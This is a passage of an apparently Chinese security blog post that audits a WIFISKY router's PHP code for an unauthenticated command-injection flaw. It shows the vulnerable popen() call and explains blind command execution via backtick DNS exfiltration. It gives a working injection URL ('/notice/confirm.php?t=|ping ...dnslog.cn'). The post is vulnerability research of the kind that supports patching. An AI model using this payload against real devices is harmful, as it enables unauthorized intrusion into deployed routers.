0day之某路由器前台RCE审计
0x1eeA
- 关注
99+
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
收藏一下~
可以收录到专辑噢~
一.引子
又是一个风和日丽的周六下午,帅比小雷茫然的睁开疲惫的双眼,突然觉悟,我小雷乃一代肾透大师岂能虚度光阴?这成何体统?电脑来,Visual Studio Code来,源码来,小小php老夫今天就要拿下尔等!
二.目标确认
小雷此行目标: WIFISKY 7层流控路由器(php语言)
小雷审代码有三不审:1.后台的不审,不够帅 2.非rce不审,不够帅 3.不想审的不审,不够帅 所以此行只审前台的命令执行漏洞
总结: WIFISKY 7层流控路由器的前台命令执行漏洞
三.前期准备
1.使用软件
Visual Studio Code: Visual Studio Code - Code Editing. Redefined](https://code.visualstudio.com/)
网上安装教程很多,各位道友请自行研究
2.知识点准备
1)命令执行
命令执行分两种:回显和不回显,回显的没啥好说,执行的命令结果直接回显出来,这里主要说一下不回显的命令执行如何验证
首先我们要先了解Linux中反引号的作用,Linux中反引号是用来处理命令,反引号在将符号内的命令处理完毕之后,会将返回的信息传给 bash,再次执行,如下: 'ping `whoami`.test.com' 反引号中的命令会被执行
现在就很明确了,这里只需将‘.test.com’改成dnslog的地址,再执行 ‘ping `whoami`.xxx。dnslog.cn’就可以把执行的命令结果成功带出来
2)傻瓜式代审流程
1.小雷此行的目标是前台的命令执行,所以小雷先收集了php中导致命令执行漏洞产生的危险函数,如下:
eval() assert() call_user_func() create_function() array_map() call_user_func_array() system() passthru() exec() pcntl_exec() shell_exec() popen() proc_open()
2.作为一个肾透多年的大师,导致前台命令执行的原因小雷必然熟记于心:①.危险函数中的参数用户可控 ②.接口权限效验缺失
所以,此行的第一个任务就是将所有权限效验缺失的文件挑出来,在未授权的文件中找命令执行漏洞
四.初遇
怀着激动的心情,小雷打开了代审之旅。为了完成第一步(未授权文件筛选),小雷特意研究了下鉴权方式,发现鉴权主要就靠这句代码
这下就简单了,只需在代审时候掠过有这句代码的文件即可
接下来小雷一个函数一个函数的搜索,最终目光锁定在 popen()函数,根据popen函数找到\notice\confirm.php
<?
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];
$file = @popen("/usr/hls/bin/notice s $ip $type", "r");
if ($file)
pclose($file);
exit;
?>
这段代码一目了然符合小雷的要求:①无鉴权 ②危险函数中的参数可控
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];
这里出现了两个变量$ip
不用管,直接看$type = $_GET['t']
接受GET传参t
并将GET参数t
的值直接赋值给$type
$file = @popen("/usr/hls/bin/notice s $ip $type", "r");
$type
被直接带进了 popen()函数,并未有任何过滤处理
那么小雷要如何构造payload才能使系统成功执行自己的命令那? 这里必须让小雷给各位道友们介绍下管道符了
“|”是Linux管道命令操作符,简称管道符。使用此管道符“|”可以将两个命令分隔开,“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。
傻瓜式理解: 执行多个命令,只回显最后一个命令
例如: whoami|id 1|id
所以我们只需构造paylod: t=|ping kg4ab8.dnslog.cn ,再拼接上路径:/notice/confirm.php?t=|ping kg4ab8.dnslog.cn
可试读前30%内容
¥ 9.9 全文查看
9.9元开通FVIP会员
畅读付费文章
畅读付费文章
最低0.3元/天
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 0x1eeA 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏

相关推荐
js逆向 | AES加密下的SQL注入
2025-03-06
python分享 | 写出自己的第一个exp
2025-01-03
攻防演练 | JS泄露到主机失陷
2024-12-09
文章目录